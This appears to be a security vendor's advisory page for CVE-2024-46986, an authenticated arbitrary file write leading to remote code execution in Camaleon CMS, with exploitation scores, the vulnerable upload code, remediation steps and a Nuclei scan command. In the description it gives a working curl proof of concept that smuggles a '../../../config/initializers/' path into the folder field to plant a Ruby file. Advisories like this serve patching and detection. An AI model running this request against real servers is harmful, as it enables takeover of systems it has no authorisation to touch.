NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
💎
💎 RubyGems
Not in CISA KEV
CRITICAL severity

CVE-2024-46986 — camaleon_cms

CRITICALFix: owen2345/camaleon-cms@b3b12b1

CVE-2024-46986 is a critical-severity (CVSS 9.9) CWE-74 vulnerability in camaleon_cms. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for camaleon_cms — see the affected versions and patch details below.

Arbitrary file write leading to RCE in Camaleon CMS

Also known asGHSA-wmjg-vqhv-q5p5
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
2 known
Exploitation data as of Oct 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-46986.

EPSS Exploitation Probability

via FIRST.org ↗
37.1%probability of exploitation in next 30 days
Moderate Risk-3.85%
Lower risk than most CVEs99th percentile — riskier than 99% of all scored CVEsHighest risk
18.4%45.6%72.8%100.0%92.3%37.1%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
💎camaleon_cms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

Once a user upload is started via the upload method, the file_upload and the folder parameter

def upload(settings = {})
  params[:dimension] = nil if params[:skip_auto_crop].present?
  f = { error: 'File not found.' }
  if params[:file_upload].present?
    f = upload_file(params[:file_upload],
                    { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
                      thumb_size: params[:thumb_size] }.merge(settings))
  end
  [..]
end

are passed to the upload_file method. Inside that method the given settings are merged with some presets. The file format is checked against the formats settings we can override with the formats parameters.

# formats validations
  return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
    uploaded_io.path, settings[:formats]
 )

Our given folder is then passed unchecked to the Cama_uploader:

key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })

In the add_file method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:

def add_file(uploaded_io_or_file_path, key, args = {})
  [..]
  upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
  File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
  [..]
end

Proof of concept Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST'
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: /' -H $'Connection: keep-alive'
-b $'auth_token=[..]; _cms_session=[..]'
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="file_upload"; filename="test.rb"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs "================================="\x0aputs "================================="\x0aputs "= COMPROMISED ="\x0aputs "================================="\x0aputs "================================="\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="folder"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="skip_auto_crop"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a'
$'https://<camaleon-host>/admin/media/upload?actions=false' Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:

puts "=================================" puts "=================================" puts "= COMPROMISED =" puts "=================================" puts "=================================" Once Camaleon CMS is restarted following output will be visible in the log:

=================================

= COMPROMISED =

================================= Impact This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

Remediation Normalize file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.

See also:

CodeQL: Uncontrolled data used in path expression OWASP: Path Traversal

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemscamaleon_cms≥ 2.8.0&&< 2.8.12.8.1bundle update camaleon_cms --conservative

Affected Products

1 product · 1 configurations
Application
camaleon cmstuzitio
< 2.8.2
range
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for camaleon_cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update camaleon_cms to 2.8.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-46986 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

How to detect CVE-2024-46986

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2024-46986 -u https://target
Template
Camaleon CMS < 2.8.1 Arbitrary File Write to RCE
Severity
critical
Impact
Authenticated attackers can write arbitrary files to any location on the web server, potentially achieving remote code execution.
Remediation
Update Camaleon CMS to version 2.8.1 or later.

Template by ProjectDiscovery nuclei-templates (iamnoooob, rootxharsh, pdresearch), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application. Once a user upload is started via the [upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/cama
O3 Security · Impact-Aware SCA

Is CVE-2024-46986 in your dependencies?

Find it across RubyGems, including transitive dependencies.

CVE-2024-46986: camaleon_cms RCE — Fixed in 2.8.1